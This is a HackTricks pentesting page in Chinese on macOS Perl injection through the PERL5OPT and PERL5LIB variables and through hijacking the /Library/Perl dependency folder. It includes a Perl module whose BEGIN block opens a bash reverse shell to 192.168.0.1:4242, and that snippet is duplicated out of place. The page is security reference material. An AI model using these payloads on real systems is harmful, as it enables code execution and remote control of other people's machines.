mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
4.5 KiB
4.5 KiB
macOS Perl 应用程序注入
从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您希望在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 发现PEASS 家族,我们独家的NFT 集合
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
通过 PERL5OPT
和 PERL5LIB
环境变量
使用环境变量 PERL5OPT 可以使 perl 执行任意命令。
例如,创建以下脚本:
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
现在**导出环境变量**并执行**perl**脚本:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
package pmod;
use strict;
use warnings;
BEGIN {
system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.1/4242 0>&1'");
}
1;
{% endcode %}
这里,我们创建了一个Perl模块(例如/tmp/pmod.pm
):
{% code title="/tmp/pmod.pm" %}
package pmod;
use strict;
use warnings;
BEGIN {
system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.1/4242 0>&1'");
}
1;
{% endcode %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
然后使用环境变量:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
通过依赖项
可以列出Perl运行时的依赖项文件夹顺序:
perl -e 'print join("\n", @INC)'
将返回类似以下内容:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
有些返回的文件夹甚至不存在,但是 /Library/Perl/5.30
确实存在,它没有被SIP 保护,并且位于受SIP保护的文件夹之前。因此,有人可以滥用该文件夹,在其中添加脚本依赖项,以便高权限的Perl脚本将加载它。
{% hint style="warning" %} 然而,请注意,您需要以root身份写入该文件夹,而且现在您会收到这个TCC提示: {% endhint %}
例如,如果脚本正在导入 use File::Basename;
,那么创建 /Library/Perl/5.30/File/Basename.pm
将可以执行任意代码。
参考资料
从零开始学习AWS黑客攻击直到成为专家,通过 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方的PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。